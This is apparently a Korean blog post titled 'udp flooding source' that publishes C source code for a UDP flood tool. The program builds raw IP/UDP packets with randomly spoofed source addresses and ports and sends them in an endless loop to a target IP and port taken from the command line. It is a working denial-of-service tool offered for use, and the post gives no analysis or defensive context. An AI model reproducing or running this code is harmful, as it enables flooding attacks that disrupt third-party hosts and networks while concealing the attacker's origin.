카테고리 없음

udp flooding source

컴공 2013. 6. 16. 01:15
반응형
/*
 * Copyright (c) 2011 Jae-young, Park <onurmark1@gmail.com>
 *
 * License: http://www.onurmark.co.kr/?page_id=48
 *
 * Please DON'T REMOVE THIS COMMENTS for any reuse or distribution.
 *
 */
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <memory.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
 
#define PCKT_LEN 8192
#define PAYLOAD_LEN 1460
 
// Simple checksum function if ip checksum, pseudo_sum = 0;
unsigned short csum(unsigned short *buf, int len, unsigned long pseudo_sum)
{
    register unsigned long sum = pseudo_sum;
 
    while (len--)
        sum += *buf++;
 
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
 
    return (unsigned short)(~sum);
}
 
int main(int argc, char *argv[])
{
    char buffer[PCKT_LEN];
 
    struct iphdr *ipheader = (struct iphdr *)buffer;
    struct udphdr *udpheader = (struct udphdr *)(buffer + sizeof(struct iphdr));
 
    int sd;
    struct sockaddr_in din;
    int one = 1;
    const int *val = &one;
 
    memset(buffer, 0x0, PCKT_LEN);
 
    if (argc < 3) {
        printf("Usage: %s <target hostname/IP> <port>\n", argv[0]);
        exit(-1);
    }
 
    sd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
    if (sd < 0) {
        perror("socket() error");
        exit(-1);
    }
 
    // Address family
    din.sin_family      = AF_INET;
    din.sin_addr.s_addr = inet_addr(argv[1]);
    din.sin_port        = htons(atoi(argv[2]));
 
    // IP structure
    ipheader->version    = 4;
    ipheader->ihl        = sizeof(struct iphdr) >> 2;
    ipheader->tot_len    = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + PAYLOAD_LEN);
    ipheader->ttl        = 128;
    ipheader->protocol   = IPPROTO_UDP;
    ipheader->daddr      = inet_addr(argv[1]);
 
    // UDP structure
    udpheader->dest      = htons(atoi(argv[2]));
    udpheader->len       = htons(sizeof(struct udphdr) + PAYLOAD_LEN);
 
    // Inform the kernel do not fill up the headers' structure, we fabricated our own
    if (setsockopt(sd, IPPROTO_IP, IP_HDRINCL, val, sizeof(one)) < 0) {
        perror("setsockopt() error");
        exit(-1);
    }
 
    srandom(time(NULL));
 
    printf("Target IP: %s port: %u.\n", argv[1], atoi(argv[2]));
    while(1) {
        // IP structure
        ipheader->saddr      = random();
        ipheader->check      = 0;
 
        // UDP structure
        udpheader->check = 0;
        udpheader->source    = htons(1024 + (random() % (65535 - 1024)));
 
        // IP checksum calculation
        ipheader->check = csum((unsigned short *)buffer, (sizeof(struct iphdr) + sizeof(struct udphdr) + PAYLOAD_LEN), 0);
 
        // Pseudo header checksum = saddr + daddr + 4352[htons(17)] + tcp length
        unsigned long sum =
            (ipheader->saddr >> 16) + (ipheader->saddr & 0xffff) +
            (ipheader->daddr >> 16) + (ipheader->daddr & 0xffff) +
            4352 +
            htons(sizeof(struct udphdr) + PAYLOAD_LEN);
        // UDP checksum calculation
        udpheader->check = csum((unsigned short *)udpheader, sizeof(struct udphdr) + PAYLOAD_LEN, sum);
 
        if (sendto(sd, buffer, sizeof(struct iphdr) + sizeof(struct udphdr) + PAYLOAD_LEN, 0, (struct sockaddr *)&din, sizeof(din)) < 0) {
            perror("sendto() error");
            exit(-1);
        }
    }
    close(sd);
 
    return 0;
}
반응형